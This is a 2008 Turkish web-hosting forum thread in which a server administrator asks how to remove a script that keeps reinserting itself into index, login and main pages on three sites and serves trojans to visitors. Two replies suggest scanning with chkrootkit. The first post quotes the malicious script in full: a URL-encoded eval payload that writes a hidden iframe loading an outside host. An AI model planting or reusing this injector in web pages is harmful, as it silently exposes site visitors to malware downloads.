• 23-02-2008, 22:10:44
    #1
    Üyeliği durduruldu
    Merhaba Arkadaslar.

    Serverımda bulunan sitelerin bazılarında aşağıdaki kod yerleşiyor otomatik olarak.

    <script>eval(unescape("%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%34%65%62%32%64%39%33%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%77%77%77%2e%70%6f%6b%75%70%6b%69%32%34%2e%69%6e%66%6f%2f%31%34%2f%69%6e%64%65%78%2e%70%68%70%3f%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%33%33%36%38%37%29%2b%27%63%31%36%34%5c%27%20%77%69%64%74%68%3d%35%39%31%20%68%65%69%67%68%74%3d%35%37%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29")); </script>
    Ne kadar temizlesemde index, login ve main adındaki bütün html,asp,php dosyalarına kendini ekliyor.

    Yanlız sadece serverdaki 3 sitede bu durumla karşılaşıyorum çıkdırmak üzereyim. Trojan download ettiriyor ziyaretçilere.

    Bir çaresini bilen varmı arkadaşlar ne yapmam lazımki bu olaydan kesin bir kurtuluşum olsun. En büyük korkum zararlı içerik filtrelemesine takılıp google dan banlanması
  • 23-02-2008, 22:23:35
    #2
    Kimlik doğrulama veya yönetimden onay bekliyor.
    bir aralar benimde basıma gelmişti bu olay

    chkrootkit vs gibi sistemler ile temizleniyor sanırım

    nasıl yapıldıgını unuttum
  • 08-03-2008, 11:56:50
    #3
    gecenlerde arkadaslara verdigim els kurulum sistemi ile chkrootkit i falan yukleyip taratabilirsin....

    onlar sana yardımcı olacaktır.